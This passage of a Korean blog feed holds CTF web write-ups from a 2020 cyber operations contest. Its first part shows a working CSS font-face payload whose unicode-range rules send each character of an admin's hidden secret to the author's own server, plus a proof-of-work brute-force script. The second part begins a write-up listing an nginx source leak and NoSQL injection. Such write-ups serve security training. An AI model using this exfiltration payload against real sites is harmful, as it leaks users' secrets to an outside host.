&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0074;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:u');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0075;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:v');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0076;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:w');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0077;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:x');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0078;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:y');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+0079;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;@font-face{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;src:url('//ar9ang3.com/?Found:z');&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;unicode-range:U+007A;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;.tracker-hidden{&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;display:block!important;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;font-family:attack;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;---------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;tracker-hidden&lt;/span&gt;&lt;span&gt;이&lt;span&gt; display:none&lt;/span&gt;으로 되어있기 때문에&lt;span&gt; visible&lt;/span&gt;하게 바꾸어&lt;span&gt; font-family&lt;/span&gt;가 적용되도록 한 후&lt;span&gt;, unicode-range&lt;/span&gt;를 이용하여&lt;span&gt; [A-Za-z0-9] &lt;/span&gt;범위의 글자가 있을 시 해당&lt;span&gt; font-family&lt;/span&gt;를 통해&lt;span&gt; src:url()&lt;/span&gt;로 설정된 내 도메인으로&lt;span&gt; font &lt;/span&gt;요청을 보내 어떤 글자가 존재하는지 알 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;이를 &lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;http://ar9ang3.com/aa.css&quot;&gt;http://ar9ang3.com/aa.css&lt;/a&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;와 같이&lt;span&gt; css&lt;/span&gt;파일로 내 서버에 작성한 후&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;lt;link &lt;/span&gt;&lt;span&gt;rel&lt;span&gt;=&quot;&lt;/span&gt;stylesheet&lt;span&gt;&quot; &lt;/span&gt;href&lt;span&gt;=&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;http://ar9ang3.com/aa.css&quot;&gt;http://ar9ang3.com/aa.css&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;를&lt;span&gt; upload&lt;/span&gt;할때 넣어주면 관리자가 내 글을 읽을때 작성한&lt;span&gt; css&lt;/span&gt;가 적용되어&lt;span&gt; xs-leak&lt;/span&gt;이 작동할 것이다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image6.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2XCBA/btqIM8gPsJk/vr1ZME368zOjR4ff4EC5IK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2XCBA/btqIM8gPsJk/vr1ZME368zOjR4ff4EC5IK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2XCBA/btqIM8gPsJk/vr1ZME368zOjR4ff4EC5IK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2XCBA%2FbtqIM8gPsJk%2Fvr1ZME368zOjR4ff4EC5IK%2Fimg.png&quot; data-filename=&quot;image6.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;실제로 내 서버로 한글자씩 전송됐으며&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;&lt;span&gt;Privacy Policy: In order to protect information of NVL, to access every work will be tracked.&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;&lt;span&gt;To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used.&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;&lt;span&gt;Each letters of secret code are in increasing order of ASCII code.&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;라고 메인페이지에 나와있었기 때문에&lt;span&gt; ascii order&lt;/span&gt;로 중복없이 되어있을것이기 때문에 이를 모두 모아 정렬하면&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image7.png&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;131&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qxNOS/btqIBNZul3s/kxVlOyjvKFSuQlQYisbrv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qxNOS/btqIBNZul3s/kxVlOyjvKFSuQlQYisbrv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qxNOS/btqIBNZul3s/kxVlOyjvKFSuQlQYisbrv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqxNOS%2FbtqIBNZul3s%2FkxVlOyjvKFSuQlQYisbrv0%2Fimg.png&quot; data-filename=&quot;image7.png&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;131&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span&gt;의&lt;span&gt; tracker code&lt;/span&gt;는&lt;span&gt; '012378IJLMNQSWXYadeghilnopqrtuyz' &lt;/span&gt;이다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;이를&lt;span&gt; vaccine.php&lt;/span&gt;에 담아 전송하면&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8FnK9/btqIM7Wy49Y/VFkgpYd2Qky8Ly4Dhh4xtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8FnK9/btqIM7Wy49Y/VFkgpYd2Qky8Ly4Dhh4xtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8FnK9/btqIM7Wy49Y/VFkgpYd2Qky8Ly4Dhh4xtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8FnK9%2FbtqIM7Wy49Y%2FVFkgpYd2Qky8Ly4Dhh4xtk%2Fimg.png&quot; data-filename=&quot;image8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;플래그를 뿌려준다&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;참고&lt;span&gt;) pow &lt;/span&gt;코드&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;from arang import *&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;for i in range(0,0xfffffff):&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if i % 100000 == 0:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print(f'[+] doing {i}')&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;s = hexencode(sha1(str(i)))&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if s[:6] == b'0b83ff':&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;print(i)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;break&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;---&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;--&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>CTF/writeup</category>
      <category>2020사이버작전경연대회</category>
      <category>writeup</category>
      <category>라이트업</category>
      <category>웹</category>
      <category>웹해킹</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/66</guid>
      <comments>https://ar9ang3.tistory.com/66#entry66comment</comments>
      <pubDate>Tue, 15 Sep 2020 10:06:25 +0900</pubDate>
    </item>
    <item>
      <title>2020 사이버 작전 경연대회 [웹] - Intranet; Write-up</title>
      <link>https://ar9ang3.tistory.com/65</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 69.2432%;&quot; border=&quot;1&quot; width=&quot;1191&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 48.6013%;&quot; colspan=&quot;2&quot; width=&quot;586&quot;&gt;
&lt;p&gt;&lt;span&gt;문 제&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;분 야&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;점 수&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 48.6013%;&quot; colspan=&quot;2&quot; width=&quot;586&quot;&gt;
&lt;p&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt;3&lt;span&gt; &lt;/span&gt;Intranet&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;web&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 25.6844%;&quot; width=&quot;302&quot;&gt;
&lt;p&gt;&lt;span&gt;?&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9701%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;노출된&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;적국의&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;생화학&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;연구소&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;내부&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;사이트에서, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;관리자&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;권한을&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;탈취하여&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;내부&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;시스템을&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;탐색하라.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;a href=&quot;http://3.35.40.133/&quot;&gt;&lt;span&gt;http://3.35.40.133&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3156%;&quot; width=&quot;250&quot;&gt;
&lt;p&gt;&lt;span&gt;풀이 절차&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 75.6545%;&quot; colspan=&quot;3&quot; width=&quot;941&quot;&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span&gt;nginx route &lt;/span&gt;&lt;span&gt;설정 오류를 이용한&lt;span&gt; server source code leak&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;nosql injection&lt;/span&gt;&lt;span&gt;을 이용한&lt;span&gt; member&lt;/span&gt;권한 획득&lt;/span&gt;&lt;/li&gt;
